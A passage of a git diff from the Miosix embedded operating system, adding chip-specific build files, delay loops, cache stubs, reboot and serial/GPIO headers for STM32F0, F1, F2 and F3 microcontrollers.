CLOCKS_WAKE_EN1_CLK_SYS_WATCHDOG_BITS // only used for resetting + | CLOCKS_WAKE_EN1_CLK_SYS_XIP_BITS); // won't DMA from the XIP ROM (if we do, reenable!) +} + +} //namespace miosix diff --git a/miosix/arch/chip/stm32f0/CMakeLists.txt b/miosix/arch/chip/stm32f0/CMakeLists.txt new file mode 100644 index 000000000..5aedd7f4d --- /dev/null +++ b/miosix/arch/chip/stm32f0/CMakeLists.txt @@ -0,0 +1,27 @@ +## +## CMakeLists.txt for chip stm32f0 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv6m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v6-m/nofp) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m0 -mthumb) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32F0) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32F0) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv6m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f7_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32F0xx/Source/Templates/system_stm32f0xx.cpp +) diff --git a/miosix/arch/chip/stm32f0/Makefile.inc b/miosix/arch/chip/stm32f0/Makefile.inc new file mode 100644 index 000000000..2831f5c6f --- /dev/null +++ b/miosix/arch/chip/stm32f0/Makefile.inc @@ -0,0 +1,28 @@ +## +## Makefile for chip stm32f0 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture does not support processes +#POSTLD := + +CPU_INC := arch/cpu/armv6m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m0 -mthumb +CHIP_CFLAGS := -D_CHIP_STM32F0 +CHIP_CXXFLAGS := -D_CHIP_STM32F0 + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv6m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/serial/stm32f7_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/ST/STM32F0xx/Source/Templates/system_stm32f0xx.cpp diff --git a/miosix/arch/chip/stm32f0/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32f0/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/stm32f0/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/stm32f0/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32f0/interfaces-impl/delays.cpp new file mode 100644 index 000000000..b0b67a7c2 --- /dev/null +++ b/miosix/arch/chip/stm32f0/interfaces-impl/delays.cpp @@ -0,0 +1,62 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int ms) +{ + const unsigned int count=cpuFrequency/8000; + for(unsigned int i=0;i * + ***************************************************************************/ + +#ifndef GPIO_IMPL_H +#define GPIO_IMPL_H + +#include "drivers/gpio/stm32_gpio.h" + +#endif //GPIO_IMPL_H diff --git a/miosix/arch/chip/stm32f0/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32f0/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..e6976a441 --- /dev/null +++ b/miosix/arch/chip/stm32f0/interfaces-impl/poweroff.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix + \ No newline at end of file diff --git a/miosix/arch/chip/stm32f0/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32f0/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..d1c44c366 --- /dev/null +++ b/miosix/arch/chip/stm32f0/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f7_serial.h" diff --git a/miosix/arch/chip/stm32f1/CMakeLists.txt b/miosix/arch/chip/stm32f1/CMakeLists.txt new file mode 100644 index 000000000..b9ee12c00 --- /dev/null +++ b/miosix/arch/chip/stm32f1/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for chip stm32f1 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7-m/nofp) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m3 -mthumb) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32F1) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32F1) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_16bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_rtc_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32f1_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f1_f2_f4_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/dcc.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/sleep.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32F1xx/Source/Templates/system_stm32f1xx.cpp +) diff --git a/miosix/arch/chip/stm32f1/Makefile.inc b/miosix/arch/chip/stm32f1/Makefile.inc new file mode 100644 index 000000000..6ecb70aaf --- /dev/null +++ b/miosix/arch/chip/stm32f1/Makefile.inc @@ -0,0 +1,33 @@ +## +## Makefile for chip stm32f1 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m3 -mthumb +CHIP_CFLAGS := -D_CHIP_STM32F1 $(XRAM) +CHIP_CXXFLAGS := -D_CHIP_STM32F1 $(XRAM) + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/stm32_16bit_os_timer.cpp \ +arch/drivers/os_timer/stm32_rtc_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32f1_gpio.cpp \ +arch/drivers/serial/stm32f1_f2_f4_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +arch/drivers/dcc.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/sleep.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/ST/STM32F1xx/Source/Templates/system_stm32f1xx.cpp diff --git a/miosix/arch/chip/stm32f1/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32f1/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/stm32f1/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/stm32f1/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32f1/interfaces-impl/delays.cpp new file mode 100644 index 000000000..7dd5fdf65 --- /dev/null +++ b/miosix/arch/chip/stm32f1/interfaces-impl/delays.cpp @@ -0,0 +1,110 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + #ifndef __CODE_IN_XRAM + constexpr unsigned int count= + cpuFrequency<=24000000 ? cpuFrequency/3000 : //Flash 0 wait state + cpuFrequency<=48000000 ? cpuFrequency/4000 : //Flash 1 wait state + cpuFrequency/6000; //Flash 2 wait state + #else //__CODE_IN_XRAM + //These delays are calibrated on an stm3210e-eval, and are only correct when + //running from ram memories with similar access timings + constexpr unsigned int count=cpuFrequency/38095; + #endif //__CODE_IN_XRAM + for(unsigned int i=0;i * + ***************************************************************************/ + +#ifndef GPIO_IMPL_H +#define GPIO_IMPL_H + +#include "drivers/gpio/stm32f1_gpio.h" + +#endif //GPIO_IMPL_H diff --git a/miosix/arch/chip/stm32f1/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32f1/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32f1/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32f1/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32f1/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..5e7247131 --- /dev/null +++ b/miosix/arch/chip/stm32f1/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f1_f2_f4_serial.h" diff --git a/miosix/arch/cortexM3_stm32f1/common/interfaces-impl/deep_sleep.cpp b/miosix/arch/chip/stm32f1/interfaces-impl/sleep.cpp similarity index 100% rename from miosix/arch/cortexM3_stm32f1/common/interfaces-impl/deep_sleep.cpp rename to miosix/arch/chip/stm32f1/interfaces-impl/sleep.cpp diff --git a/miosix/arch/chip/stm32f2/CMakeLists.txt b/miosix/arch/chip/stm32f2/CMakeLists.txt new file mode 100644 index 000000000..c9004da3f --- /dev/null +++ b/miosix/arch/chip/stm32f2/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for chip stm32f2 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7-m/nofp) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m3 -mthumb) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32F2) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32F2) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_32bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f1_f2_f4_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/dcc.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32F2xx/Source/Templates/system_stm32f2xx.cpp +) diff --git a/miosix/arch/chip/stm32f2/Makefile.inc b/miosix/arch/chip/stm32f2/Makefile.inc new file mode 100644 index 000000000..3db2e6472 --- /dev/null +++ b/miosix/arch/chip/stm32f2/Makefile.inc @@ -0,0 +1,33 @@ +## +## Makefile for chip stm32f2 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m3 -mthumb +CHIP_CFLAGS := -D_CHIP_STM32F2 $(XRAM) +CHIP_CXXFLAGS := -D_CHIP_STM32F2 $(XRAM) + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/stm32_32bit_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/serial/stm32f1_f2_f4_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +arch/drivers/dcc.cpp \ +arch/drivers/stm32_hardware_rng.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/ST/STM32F2xx/Source/Templates/system_stm32f2xx.cpp diff --git a/miosix/arch/chip/stm32f2/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32f2/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/stm32f2/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/stm32f2/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32f2/interfaces-impl/delays.cpp new file mode 100644 index 000000000..b822bfede --- /dev/null +++ b/miosix/arch/chip/stm32f2/interfaces-impl/delays.cpp @@ -0,0 +1,103 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + #ifndef __CODE_IN_XRAM + + static_assert(cpuFrequency==120000000,"Unsupported clock frequency"); + const unsigned int count=40000; //Flash 3 wait state + + #else //__CODE_IN_XRAM + + static_assert(cpuFrequency==120000000,"Unsupported clock frequency"); + + //When running code from external RAM delays depend on the RAM timings + #if defined(_BOARD_STM3220G_EVAL) + const unsigned int count=5000; + #elif defined(_BOARD_ETHBOARDV2) + const unsigned int count=6000; + #else + #error RAM delays are uncalibrated for this board + #endif + + #endif //__CODE_IN_XRAM + + for(unsigned int i=0;i * + ***************************************************************************/ + +#ifndef GPIO_IMPL_H +#define GPIO_IMPL_H + +#include "drivers/gpio/stm32_gpio.h" + +#endif //GPIO_IMPL_H diff --git a/miosix/arch/chip/stm32f2/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32f2/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32f2/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32f2/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32f2/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..5e7247131 --- /dev/null +++ b/miosix/arch/chip/stm32f2/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f1_f2_f4_serial.h" diff --git a/miosix/arch/chip/stm32f3/CMakeLists.txt b/miosix/arch/chip/stm32f3/CMakeLists.txt new file mode 100644 index 000000000..54b8157e0 --- /dev/null +++ b/miosix/arch/chip/stm32f3/CMakeLists.txt @@ -0,0 +1,30 @@ +## +## CMakeLists.txt for chip stm32f3 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7e-m+fp/hard) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32F3) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32F3) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + 